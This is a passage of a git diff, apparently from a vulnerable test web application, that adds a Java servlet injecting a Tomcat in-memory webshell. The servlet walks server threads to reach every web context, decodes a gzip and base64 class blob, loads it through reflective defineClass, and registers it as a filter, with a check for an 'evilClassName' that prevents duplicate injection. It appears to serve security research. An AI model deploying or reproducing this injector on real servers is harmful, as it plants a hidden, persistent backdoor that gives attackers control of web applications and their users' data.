18XsYrgcK9eBWvBRR78TpXSVPswRt4k29Jed7C26T0DscNjhV73mXPPH2B94Lt9P5/M4+oTgUNAAA="; + } + + public void addListener(Object context, Object listener) throws Exception { + if (!this.isInjected(context, this.getClassName())) { + String filedName = "applicationEventListenersObjects"; + Object applicationEventListenersObjects = getFV(context, filedName); + if (applicationEventListenersObjects == null) { + filedName = "applicationEventListenersInstances"; + applicationEventListenersObjects = getFV(context, filedName); + } + if (applicationEventListenersObjects != null) { + Object[] appListeners = (Object[]) applicationEventListenersObjects; + if (appListeners != null) { + List appListenerList = new ArrayList(Arrays.asList(appListeners)); + appListenerList.add(listener); + setFieldValue(context, filedName, appListenerList.toArray()); + } + } else if (getFV(context, "applicationEventListenersList") != null) { + List appListeners = (List) getFV(context, "applicationEventListenersList"); + if (appListeners != null) { + appListeners.add(listener); + } + } + } + } + + public boolean isInjected(Object context, String evilClassName) throws Exception { + Object[] objects = (Object[]) invokeMethod(context, "getApplicationEventListeners"); + List listeners = Arrays.asList(objects); + + for (Object o : new ArrayList(listeners)) { + if (o.getClass().getName().contains(evilClassName)) { + return true; + } + } + + return false; + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + try { + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + Map childrenMap = (Map) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + for (Object key : childrenMap.keySet()) { + Map children = (Map) getFV(childrenMap.get(key), "children"); + for (Object key1 : children.keySet()) { + Object context = children.get(key1); + if (context != null) { + contexts.add(context); + } + } + } + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return contexts; + } + + private Object getFilter(Object context) { + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + + try { + filter = classLoader.loadClass(this.getClassName()); + } catch (Exception var9) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(this.getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable e1) { + e1.printStackTrace(); + } + } + + return filter; + } + + @Override + protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + try { + List context = getContext(); + for (Object o : context) { + Object filter = getFilter(o); + addFilter(o, filter); + } + } catch (IllegalAccessException e) { + throw new RuntimeException(e); + } catch (NoSuchMethodException e) { + throw new RuntimeException(e); + } catch (InvocationTargetException e) { + throw new RuntimeException(e); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public void addFilter(Object context, Object filter) throws Exception { + String filterName = getClassName(); + // 防止重复注入 + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { + return; + } + } catch (Exception ignored) { + } + try { + Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); + invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); + invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); + invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass(), boolean.class}, new Object[]{filterMap, false}); + try { + // v7.0.0 以上 + invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } catch (Exception e) { + invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); + } + Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); + constructors[0].setAccessible(true); + Object filterConfig = constructors[0].newInstance(context, filterDef); + HashMap filterConfigs = (HashMap) getFV(context, "filterConfigs"); + filterConfigs.put(filterName, filterConfig); + } catch (Exception e) { + e.printStackTrace(); + } + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + + } + + @SuppressWarnings("all") + public Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/vul-webapp-jakarta/src/main/java/UploadServlet.java b/vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java similarity index 100% rename from vul-webapp-jakarta/src/main/java/UploadServlet.java rename to vul-webapp-jakarta/src/main/java/jakarta/UploadServlet.java